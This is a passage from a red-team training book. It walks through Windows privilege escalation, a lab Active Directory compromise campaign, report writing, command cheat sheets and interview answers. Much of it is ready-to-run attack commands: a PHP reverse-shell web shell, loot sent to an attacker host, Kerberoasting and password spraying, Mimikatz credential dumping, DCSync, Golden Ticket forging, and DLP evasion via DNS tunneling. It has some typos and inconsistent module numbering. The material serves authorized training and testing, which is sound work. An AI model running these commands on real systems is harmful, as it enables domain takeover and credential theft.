reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

Juicy Potato / PrintSpoofer (SeImpersonatePrivilege)

If `whoami /priv` shows `SeImpersonatePrivilege: Enabled`, you can escalate to SYSTEM:

```
# PrintSpoofer (works on Server 2019+, Win 10)
.\PrintSpoofer.exe -i -c cmd # spawns SYSTEM cmd prompt

# GodPotato (broadest OS support)
.\GodPotato.exe -cmd "cmd /c whoami"
```

Data Discovery and Staging

```
# Find sensitive files
Get-ChildItem C:\ -Recurse -Include *.txt,*.docx,*.xlsx,*.pdf -ErrorAction SilentlyContinue |
Where-Object { $_.Name -match "password|cred|secret|config|backup" }

# Search file content
Select-String -Path C:\Users\*\Documents\* -Pattern "password" -ErrorAction SilentlyContinue

# Database connection strings in web configs
Get-ChildItem C:\inetpub -Recurse -Filter "*.config" | Select-String "connectionString"
```

Exfiltration Channels

Responsible exfiltration in an authorized engagement means: exfiltrate only data explicitly in scope for demonstration, use encrypted channels, document exactly what was staged and exfiltrated, and ensure all copies are deleted per the engagement's data handling agreement.


```
# HTTPS exfil (blends with normal traffic)
# On Kali: python3 -m http.server 443 (or use a proper HTTPS server)
# On target:
Invoke-WebRequest -Uri "https://192.168.56.1/upload" -Method POST -Body (Get-Content -Path "C:\loot\dump.txt" -Raw)

# DNS exfil (ultra-low bandwidth but bypasses most DLP)
# Conceptual: encode data in subdomain labels of DNS queries to attacker-controlled domain
# dnscat2 or iodine for full DNS tunneling

# SMB: if attacker has a reachable SMB share
copy C:\loot\file.txt \\192.168.56.1\share\
```

Guided Lab

On your lab Windows VM (as administrator): run winPEAS, check for `SelImpersonatePrivilege`, run PrintSpoofer to get `SYSTEM`, then run Mimikatz to dump credentials. Document all findings per the Module 16 format.

Review Questions

1. What privilege does `SelImpersonatePrivilege` grant and how is it abused?
2. What does Mimikatz's `sekurlsa::logonpasswords` access?
3. Why must any data actually exfiltrated during a test be handled and deleted carefully?

Answers

1. `SelImpersonatePrivilege` allows a process to impersonate the security context of a user who connects to it. It's abused via "Potato" attacks that coerce a `SYSTEM`-level token connection, then impersonate `SYSTEM`.
2. It reads LSASS (Local Security Authority Subsystem Service) process memory to extract cached plaintext credentials, NTLM hashes, and Kerberos tickets for all currently or recently logged-on users.
3. Because any data exfiltrated during a test is real sensitive data — treating it carelessly creates actual data breach risk for the client, independent of the intended test scope.

Module 16 — Red Team Operations and Reporting

Objectives

Plan and execute a complete red team engagement end-to-end using all techniques from this book, maintain a professional operational log throughout, and produce a structured report with executive summary, technical findings, MITRE ATT&CK mapping, and actionable remediation guidance.

Theory

Everything in this book serves this module. Technical skill without operational discipline and clear communication doesn't translate to professional value. A report that clearly conveys impact and prioritizes remediation is what clients pay for — and what separates a professional from someone who just ran some tools.

Deep Technical Explanation

Pre-Engagement Checklist

```
[ ] Signed Statement of Work with explicit scope
[ ] Signed Rules of Engagement document
[ ] Emergency stop contact (24/7 reachable)
[ ] Out-of-scope systems explicitly listed
[ ] Data handling requirements documented
[ ] Engagement start/end date/time confirmed
[ ] Testing window (business hours only? 24x7?) confirmed
[ ] Allowed techniques explicitly listed (phishing? physical? destructive?)
[ ] Kali VM snapshot taken (clean state before engagement)
[ ] Dedicated workspace created in Metasploit
[ ] Dedicated engagement directory created with note-taking template ready
```

Operational Log Structure

Keep a running log in a structured format throughout the engagement:

```
[YYYY-MM-DD HH:MM:SS UTC] [Phase] [Action] [Result]
2026-06-20 09:14:32 UTC [Recon] theHarvester -d targetcorp.com → 47 emails, format f.lastname
2026-06-20 10:03:11 UTC [Enum] nmap -sV 203.0.113.45 → Exchange 2016 on 443, Citrix on 8443
2026-06-20 11:22:44 UTC [Exploit] GetUserSPNs jsmith → svc_backup TGS obtained
2026-06-20 13:05:17 UTC [PrivEsc] hashcat m13100 → svc_backup:Summer2024!
2026-06-20 14:11:02 UTC [Lateral] secretdump svc_backup → DA hash obtained
2026-06-20 14:44:55 UTC [Objective] DCSync → all domain hashes, NTDS.dit equivalent
```

MITRE ATT&CK Mapping

Every finding maps to at least one ATT&CK technique. Include this in the report:

Technique	ID	Finding
Kerberoasting	T1558.003	svc_backup cracked in 4 minutes
OS Credential Dumping	T1003.001	LSASS dump via Mimikatz
DCSync	T1003.006	All domain hashes via replication
Pass the Hash	T1550.002	DA lateral movement via PTH

Technique	ID	Finding
Account Discovery	T1087.002	847 domain accounts enumerated

Report Structure

1. EXECUTIVE SUMMARY (1-2 pages, plain language, no technical jargon)
 - Engagement scope and dates
 - Overall risk rating
 - Key findings summary (3-5 bullet points, business impact language)
 - Top 3 recommended actions
2. METHODOLOGY
 - Tools and techniques used
 - Attack timeline narrative
 - MITRE ATT&CK matrix heatmap (techniques used highlighted)
3. FINDINGS (one section per finding)
 - Title: [CVE/Technique Name]
 - Risk Rating: Critical / High / Medium / Low / Informational
 - CVSS Score (if applicable)
 - MITRE ATT&CK ID
 - Affected System(s)
 - Description (what the vulnerability is)
 - Evidence (screenshot/command output with host/timestamp)
 - Business Impact (what a real attacker could do)
 - Remediation (specific, actionable, prioritized)
4. APPENDICES
 - Full command log with timestamps
 - Network diagram showing attack path
 - Tool list and versions
 - Raw scan output references

Sample Finding — Kerberoasting

Title: Kerberoastable Service Account Leading to Domain Compromise

Risk Rating: Critical

MITRE ATT&CK: T1558.003 — Kerberoasting

Affected System: lab.local — svc_backup account

Description: The service account **svc_backup** was registered with a Service Principal Name (SPN) and protected by a weak password. Any authenticated domain user can request a Kerberos service ticket encrypted with this account's password hash, which can then be cracked offline without triggering account lockout or alerting security tools.

Evidence:

```
[2026-06-20 11:22:44] GetUserSPNs.py lab.local/jsmith:Password123 -request -dc-ip 192.168.56.10
[2026-06-20 11:22:47] $krb5tgt$23$*svc_backup$LAB.LOCAL$backup/dc01.lab.local*$...
[2026-06-20 13:05:17] hashcat -m 13100 → svc_backup:Summer2024! (4m 12s, RTX 3080)
```

Business Impact: The svc_backup account had Domain Admin membership (see Finding 2). This single weak password allowed complete domain compromise from a low-privilege starting position, affecting all 847 domain accounts and every domain-joined system.

Remediation:

1. Immediately reset the svc_backup password to a randomly generated 25+ character password.
2. Audit all accounts with SPNs registered — remove unnecessary SPNs.
3. Consider Group Managed Service Accounts (gMSA) for service accounts, which automatically rotate 240-character passwords.
4. Remove Domain Admin membership from all service accounts; apply least-privilege.

Capstone Assessment

Execute a full red team engagement against your complete lab (DC + workstation + Metasploitable2/DVWA) following all 16 modules in sequence. Produce a complete professional report with at minimum five findings, MITRE ATT&CK mapping for each, an attack timeline, and a network diagram of the path taken. This is the proof that all 16 modules became working skill.

APPENDIX

Capstone & Reference

End-to-end campaign simulation, professional reporting, master cheat sheets, roadmaps, and final assessments.

CAPSTONE

Module 14 — Full Red Team Campaign Simulation

Objectives

Run a complete end-to-end red team campaign from external recon through full AD domain compromise, following proper methodology, and produce a complete evidence trail ready for a professional report.

The Scenario

Engagement name: CorpLab Internal Red Team

Authorized scope: External-facing web app (DVWA), internal AD lab (DC + Win10 client), Metasploitable2 on DMZ segment

Objective: Achieve Domain Admin, demonstrate data exfiltration potential, demonstrate persistence (one mechanism, documented)

Out-of-scope: Any host not listed above

Rules: No physical access, no DoS, all credentials handled securely, all artefacts removed at conclusion

Phase 1 — External Reconnaissance

```
workspace -a corplabsim
theHarvester -d corplabsim.local -b google,bing -l 100
dnsrecon -d corplabsim.local -t std
nmap -sn 192.168.56.0/24 -oG phase1_discovery.gnmap
grep Up phase1_discovery.gnmap | awk '{print $2}' > live_hosts.txt
```

Evidence to capture: Screenshot of theHarvester output, list of live hosts.

Phase 2 — Enumeration

```
nmap -iL live_hosts.txt -p- -T4 -oA phase2_fullport
nmap -iL live_hosts.txt -sV -sC -O -p $(grep open phase2_fullport.gnmap | grep -oP '\d+/open' | cut -d/ -f1 | sort -un | tr '\n' ',') -oA phase2_services
nmap --script=smb-vuln-ms17-010,smb-enum-shares -p 445 -iL live_hosts.txt
```

Evidence to capture: Full service scan XML, SMB script output.

Phase 3 — Initial Foothold (Web App)

```
# Enumerate DVWA
ffuf -u http://192.168.56.102/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301
nikto -h http://192.168.56.102

# Exploit file upload
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f raw -o shell.php
# Upload via DVWA File Upload → trigger → catch session
```

Evidence to capture: Burp request showing upload, screenshot of session opening.

Phase 4 — Pivot to Internal Segment

```
# From Meterpreter session on DVWA host:
run autoroute -s 192.168.56.0/24
# OR deploy Ligolo-ng agent on DVWA host, add route from Kali
./agent -connect 192.168.56.1:11601 -ignore-cert
sudo ip route add 192.168.57.0/24 dev ligolo
```

Phase 5 — AD Enumeration and Credential Attacks

```
# BloodHound collection
bloodhound-python -d corp.local -u dvwa_user -p 'harvested_pass' -ns 192.168.56.10 -c All

# Kerberoasting
GetUserSPNs.py corp.local/user:'password' -dc-ip 192.168.56.10 -request -outputfile kerberoast.hash
hashcat -a 0 -m 13100 kerberoast.hash /usr/share/wordlists/rockyou.txt -r best64.rule

# Password spraying
kerbrute passwordspray -d corp.local --dc 192.168.56.10 users.txt 'Winter2024!'
```

Phase 6 — Privilege Escalation and Lateral Movement


```
# With cracked/sprayed credentials:
nxc smb 192.168.56.0/24 -u svc_account -p 'crackedpass' --sam

# WinPEAS on Windows 10 client
wmiexec.py corp.local/svc_account:'crackedpass'@192.168.56.20
upload winpeas.exe
execute -f winpeas.exe > winpeas_output.txt

# PrintSpoofer if SeImpersonatePrivilege found
upload PrintSpoofer64.exe
execute -f PrintSpoofer64.exe -i -c cmd
```

Phase 7 — Domain Compromise

```
# With local/domain admin credentials from Phase 6:
secretsdump.py corp.local/administrator:'password'@192.168.56.10 -just-dc-ntlm -outputfile dc_hashes.txt

# Golden Ticket
ticketer.py -nthash <krbtgt_hash> -domain-sid S-1-5-21-... -domain corp.local administrator
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass corp.local/administrator@192.168.56.10
# whoami → NT AUTHORITY\SYSTEM on DC
```

Phase 8 — Simulated Exfiltration and Persistence

```
# Simulate data exfiltration (copy a dummy sensitive file)
download C:\\Windows\\NTDS\\ntds.dit /tmp/evidence/ # demonstrates full domain database access

# Deploy one persistence mechanism (documented)
schtasks /create /tn "LabPersist" /tr "cmd /c echo persist > C:\\Temp\\persist.txt" /sc minute /mo 5
# Verify, then immediately remove:
schtasks /delete /tn "LabPersist" /f
```

Phase 9 — Cleanup and Documentation

```
# Remove all artefacts
rm /tmp/shell.php # delete uploaded web shell (from web server)
schtasks /delete /tn "LabPersist" /f
del C:\\Windows\\Temp\\winpeas.exe
del C:\\Windows\\Temp\\PrintSpoofer64.exe

# Verify
sessions -k all
```

Final evidence package should contain:

- Phase-by-phase command logs with timestamps

- Screenshots at each phase boundary
- All dumped hashes (stored securely, deleted after reporting per data handling agreement)
- BloodHound graph screenshots showing attack path
- Completed findings table

Module 15 — Red Team Reporting

Objectives

Write a professional red team report that translates technical findings into business risk language, maps every finding to a MITRE ATT&CK technique, and provides specific, prioritised remediation guidance.

Report Structure

1. Executive Summary (1–2 pages)

Written for a non-technical CISO/board audience. Contains:

- Engagement dates and authorized scope
- Overall risk verdict in plain language ("An attacker with initial access to the corporate network could achieve full Active Directory domain compromise within X hours, gaining unrestricted access to all domain-joined systems and data")
- Top three highest-risk findings in one sentence each
- Overall remediation priority recommendation

2. Methodology

Which phases were conducted (the kill chain followed), tools used, any limitations or restrictions encountered.

3. Attack Narrative

A chronological story of the campaign — "On Day 1, credential spraying yielded a valid account for svc_sql. This account was Kerberoastable, and the recovered password provided local admin access to three workstations..." This section helps the blue team replay and understand the path.

4. Findings Table

ID	Title	ATT&CK	Risk	Asset	Evidence
RT-001	Kerberoastable Service Account	T1558.003	High	svc_sql	Section 5.1

ID	Title	ATT&CK	Risk	Asset	Evidence
RT-002	SMB Relay Attack (No Signing)	T1557.001	Critical	All Workstations	Section 5.2

5. Detailed Findings

Each finding gets its own subsection:

- **Description:** What is the vulnerability/misconfiguration?
- **Risk:** Business impact if exploited by a real attacker
- **Evidence:** Command used, screenshot reference, affected system
- **ATT&CK Mapping:** Technique ID and name
- **Remediation:** Specific, actionable, prioritised fix

6. Remediation Priority Matrix

Plot all findings on a 2x2 grid: Effort-to-Fix vs Business Impact. High impact / low effort fixes go first (quick wins). High impact / high effort go second (major projects). This gives the client an investment roadmap, not just a vulnerability list.

7. Appendix

Full command logs, raw scan output files, SHA256 hashes of any captured data files.

Writing Quality Standards

- Never write "we found a critical vulnerability" — write "a low-privileged attacker could achieve domain admin in under 4 hours using only built-in Windows protocols."
- Every finding must have a specific remediation step, not "implement stronger security controls."
- Risk ratings must be consistent across the entire report.
- ATT&CK IDs must be accurate — verify every one before submission.

Review Questions

1. What is the purpose of the Attack Narrative section?
2. Why does the Executive Summary avoid technical jargon?
3. What does the Remediation Priority Matrix help a client decide?
4. Name two things every detailed finding must contain.
5. Why must all captured credentials and hashes be handled per the data handling agreement?

Answers

1. To allow the blue team to replay the campaign chronologically, understand the exact path taken, and tune their detection and response capabilities accordingly.
2. Because the primary audience is non-technical leadership (CISO, board, legal) who need to understand business risk and make investment decisions, not interpret technical tool output.
3. Which fixes to prioritise first — it maps findings by ease of implementation against business impact, giving the client a logical sequenced remediation roadmap rather than an arbitrary list.
4. Any two from: description of the issue, business risk/impact statement, evidence (command + screenshot reference), ATT&CK mapping, and specific remediation recommendation.
5. Because captured credentials are functionally equivalent to real access to the client's systems — mishandling them (unencrypted storage, sharing beyond need-to-know, retaining beyond the agreed period) creates additional real security risk and may constitute a contractual or legal violation.

REFERENCE

Cheat Sheets, Roadmaps, and Resources

1. Red Team Master Command Cheat Sheet

Reconnaissance

```
theHarvester -d domain.com -b google,bing,linkedin -l 500
amass enum -passive -d domain.com -o subs.txt
subfinder -d domain.com -o subs2.txt
cat subs.txt subs2.txt | sort -u | httpx -status-code -title
trufflehog github --org=target --only-verified
exiftool *.pdf | grep -i author
shodan search "org:target" --fields ip_str,port
```

Scanning and Enumeration

```
sudo nmap -sS -sV -sC -p- -T4 --min-rate 1000 <target> -oA scan
sudo nmap -p 445 --script=smb-enum-shares,smb-enum-users <target>
enum4linux-ng -A <target>
ldapsearch -x -H ldap://<DC> -b "dc=lab,dc=local" -s base
rpcclient -U "" <target> -N -c "enumdomusers;getdompwininfo"
smbmap -H <target> -u '' -p ''
```

Impacket Quick Reference

```
impacket-GetNPUsers lab.local/ -dc-ip <DC> -no-pass -usersfile users.txt -format hashcat
impacket-GetUserSPNs lab.local/user:pass -dc-ip <DC> -request
impacket-secretsdump -just-dc lab.local/admin:pass@<DC>
impacket-psexec lab.local/admin:pass@<target>
impacket-wmiexec -hashes :NTHASH lab.local/admin@<target>
impacket-ntlmrelayx -tf targets.txt -smb2support
impacket-ticketer -nthash KRBTGT -domain-sid S-1-5-21-... -domain lab.local admin
```

NetExec Quick Reference

```
nxc smb 192.168.56.0/24
nxc smb <range> -u users.txt -p 'Password!' --no-bruteforce --continue-on-success
nxc smb <range> -u admin -H :NTHASH --continue-on-success
nxc smb <DC> -u admin -p pass --ntds
nxc smb <range> -u admin -p pass --loggedon-users
nxc smb <range> -u admin -p pass --sam
nxc ldap <DC> -u user -p pass --kerberoasting kerb.txt
nxc ldap <DC> -u user -p pass --asreproast asrep.txt
nxc smb <range> -M ms17-010
```

BloodHound

```
bloodhound-python -u user -p pass -d lab.local -ns <DC> -c All
# UI Queries to run first:
# Find Shortest Paths to Domain Admins
# Find AS-REP Roastable Users
# Find Kerberoastable Users
# Find Computers Where Domain Users are Local Admin
# Shortest Paths to Unconstrained Delegation Systems
```

Kerberos / Rubeus

```
# Kerberoast
.\Rubeus.exe kerberoast /outfile:kerb.txt
impacket-GetUserSPNs lab.local/user:pass -dc-ip <DC> -request

# AS-REP Roast
.\Rubeus.exe asreproast /format:hashcat
impacket-GetNPUsers lab.local/ -dc-ip <DC> -no-pass -usersfile users.txt -format hashcat

# Pass-the-Ticket
.\Rubeus.exe ptt /ticket:<base64>
export KRB5CCNAME=ticket.ccache && impacket-psexec -k -no-pass lab.local/admin@dc01.lab.local

# Overpass-the-Hash
.\Rubeus.exe asktgt /user:admin /rc4:NTHASH /ptt
impacket-getTGT lab.local/admin -hashes :NTHASH

# Golden Ticket
impacket-ticketer -nthash KRBTGT -domain-sid S-1-5-21-... -domain lab.local admin
```

Hashcat Quick Reference

```
hashcat -m 1000 ntlm.txt rockyou.txt -r rules/best64.rule # NTLM
hashcat -m 5600 ntlmv2.txt rockyou.txt # NetNTLMv2
hashcat -m 13100 kerb.txt rockyou.txt # Kerberoast RC4
hashcat -m 18200 asrep.txt rockyou.txt # AS-REP
hashcat -m 1000 ntlm.txt -a 3 ?u?l?l?l?l?l?d # Mask
hashcat -m 1000 ntlm.txt --show # Show cracked
```

Pivoting

```
# Ligolo-ng
./ligolo-proxy -selfcert -laddr 0.0.0.0:11601
./ligolo-agent -connect <kali>:11601 -ignore-cert
sudo ip route add 192.168.100.0/24 dev ligolo

# Chisel
./chisel server -p 8080 --reverse           # Kali
./chisel client <kali>:8080 R:socks         # Victim

# SSH
ssh -D 1080 user@pivot                    # SOCKS proxy
ssh -L 3389:<internal>:3389 user@pivot      # Port forward
sshuttle -r user@pivot 192.168.100.0/24
```

Web App Quick Hits

```
gobuster dir -u http://<target> -w reb-404.txt -x php,txt,html
ffuf -u http://<target>/FUZZ -w common.txt -fw 12
sqlmap -u "http://<target>?id=1" --dbs
sqlmap -u "http://<target>?id=1" --os-shell
# File upload bypass: .php5 .phtml .Php .php%00.jpg
# SSTI detect: {{7*7}} ${7*7}
# LFI: ?file=../../../../etc/passwd
```

Post-Exploitation Windows

```
whoami /all /priv
.\winPEASx64.exe
.\PrintSpoofer.exe -i -c cmd           # SeImpersonatePrivilege → SYSTEM
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
Get-ChildItem C:\ -Recurse -Include *.txt,*.xlsx | Where-Object {$_.Name -match "pass|cred"}
```

2. MITRE ATT&CK Red Team Coverage Map

Tactic	Key Techniques Covered
Reconnaissance	T1595, T1596, T1597, T1598
Initial Access	T1190, T1133, T1566
Execution	T1059.001 (PS), T1059.003 (CMD), T1047 (WMI)
Persistence	T1053 (Scheduled Task), T1547 (Registry Run Keys)
Privilege Escalation	T1548, T1055, T1134

Tactic	Key Techniques Covered
Defense Evasion	T1027, T1218, T1562
Credential Access	T1003.001 (LSASS), T1003.006 (DCSync), T1558.003 (Kerberoast), T1558.004 (AS-REP)
Discovery	T1087, T1069, T1082, T1046
Lateral Movement	T1550.002 (PTH), T1550.003 (PTT), T1021.002 (SMB)
Collection	T1560, T1074
Exfiltration	T1041, T1048

3. 30-Day Red Team Mastery Roadmap

Week 1 — Foundations and Recon

- Day 1-2: Module 1 (Red Team Fundamentals) + AD lab setup
- Day 3-4: Module 2 (Recon/OSINT) — run full passive recon on a practice target
- Day 5-6: Module 3 (Scanning/Enumeration) — full Nmap mastery on AD lab
- Day 7: Module 4 (AD Fundamentals) — draw the Kerberos flow from memory

Week 2 — Core AD Attack Chain

- Day 8-9: Module 5 (Impacket) — complete all guided labs
- Day 10-11: Module 6 (BloodHound) — full collection, all built-in queries
- Day 12-13: Module 7 (NetExec) — spray, own, dump workflow
- Day 14: Module 8 (Kerberos/Rubeus) — full Kerberoast → crack → DA chain

Week 3 — Advanced Techniques

- Day 15-16: Module 9 (Hashcat) — crack from multiple sources, rules mastery
- Day 17-18: Module 10 (Web Red Team) — DVWA full chain
- Day 19-20: Module 11 (Exploitation) — manual BOF on vulnserver
- Day 21: Module 12 (Pivoting) — Ligolo-ng end to end

Week 4 — Operations and Integration

- Day 22-23: Module 13 (C2) — Sliver deploy and operate
- Day 24-25: Module 14 (Evasion) — AMSI bypass + LOLBAS in lab
- Day 26-27: Module 15 (Post-Exploitation) — winPEAS → PrintSpoofer → Mimikatz
- Day 28-30: Module 16 Capstone — full engagement, complete written report

4. Best Books

- **"The Hacker Playbook 3"** by Peter Kim — most directly aligned with this course's AD focus
- **"Red Team Development and Operations"** by Joe Vest and James Tubberville — operations and methodology
- **"Attacking Active Directory"** — search for TCM Security's free course materials
- **"Windows Security Internals"** by James Forshaw — deep Windows privilege and access control understanding
- **"The Art of Exploitation"** by Jon Erickson — foundational exploit development theory
- **"Penetration Testing"** by Georgia Weidman — strong OSCP-prep companion

5. Best Online Resources

- <https://adsecurity.org> — Sean Metcalf's AD security deep dives, invaluable for Kerberos attacks
- <https://www.thehacker.recipes> — structured cookbook for all AD attack techniques
- <https://book.hacktricks.xyz> — comprehensive attack reference
- <https://attack.mitre.org> — authoritative ATT&CK technique database
- <https://lolbas-project.github.io> — full LOLBAS reference
- <https://gtfobins.github.io> — Linux equivalent of LOLBAS

6. Best Practice Labs

- **Hack The Box — Pro Labs: RastaLabs, Offshore, Cybernetics** — enterprise AD simulation
- **TCM Security — Practical Ethical Hacking** — great AD lab course
- **TryHackMe — Attacking Active Directory path** — structured AD path
- **VulnLab** — rotating AD-focused lab environments

7. Best HTB Machines for This Book

Machine	Module Relevance
Forest	Kerberoast, DCSync, AD basics
Active	Kerberoasting initial access
Sauna	AS-REP Roasting, DCSync
Resolute	AD enumeration, lateral movement
Return	LDAP credential leak, lateral movement
Monteverde	LDAP password spray, Azure AD

Machine	Module Relevance
Cascade	LDAP enumeration, credential reuse
Search	Full AD attack chain
Blackfield	Backup Operators abuse, DCSync

8. Final Assessments and Interview Questions

Interview Questions

Q: Walk me through how Kerberoasting works technically and how you'd detect it.

A: Any authenticated domain user requests a TGS for an SPN-registered account via normal Kerberos TGS-REQ. The KDC returns a ticket encrypted with the service account's NT hash. The attacker cracks this offline — no failed logins, no lockout. Detection: monitor for TGS-REQ events (4769) for RC4 encryption type when AES should be expected; look for volume anomalies (one user requesting many service tickets rapidly).

Q: What is the difference between Golden and Silver tickets?

A: Golden ticket: forged TGT using the krbtgt hash — valid for any service, any user. Silver ticket: forged TGS using a specific service account hash — valid only for that service, never touches the DC. Silver tickets are harder to detect because there's no DC interaction.

Q: How would you escalate from SelpersonatePrivilege to SYSTEM?

A: SelpersonatePrivilege allows impersonating a token from a connecting process. PrintSpoofer or GodPotato coerce SYSTEM to authenticate to a local named pipe, then impersonate that SYSTEM token to spawn a SYSTEM-level shell.

Q: What does WriteDACL on a domain object allow?

A: Modifying the object's Access Control List — allowing the attacker to grant themselves (or any principal) GenericAll full control over the object, then exploit that for password reset, SPN modification, or group membership changes.

Q: How would you exfiltrate data while evading DLP?

A: DNS tunneling (data encoded in subdomain labels of DNS queries to an attacker-controlled domain) bypasses most DLP solutions that focus on HTTP/FTP channels. Alternatively, HTTPS to a CDN-fronted endpoint looks like normal web traffic.

9. Professional Workflow Checklist

Pre-Engagement

[] Signed RoE and SoW in hand

- ☐ Emergency stop contact saved
- ☐ Lab environment verified (clean Kali snapshot)
- ☐ Engagement workspace and logging directory created

Recon

- ☐ Passive OSINT complete (email format, subdomains, technologies)
- ☐ Google dorks run
- ☐ Shodan / Censys checked

Scanning

- ☐ Full port scan (all 65535 ports) on all in-scope hosts
- ☐ Version detection on all open ports
- ☐ Protocol-specific enumeration (SMB, LDAP, RPC, SNMP)
- ☐ Password policy documented

Exploitation

- ☐ Kerberoastable accounts identified and tested
- ☐ AS-REP Roastable accounts identified and tested
- ☐ Credential spray attempted (within lockout threshold)
- ☐ BloodHound collected and shortest paths identified

Post-Exploitation

- ☐ Privilege confirmed on every host accessed
- ☐ Evidence captured (whoami, ipconfig, hostname) on each host
- ☐ Lateral movement documented with method used
- ☐ Final objective documented with evidence

Reporting

- ☐ Operational log reviewed for completeness
- ☐ Every finding has: description, evidence, impact, remediation
- ☐ MITRE ATT&CK IDs mapped to every finding
- ☐ Attack path diagram created
- ☐ Executive summary written in plain language
- ☐ All test artifacts and data handled per RoE data handling clause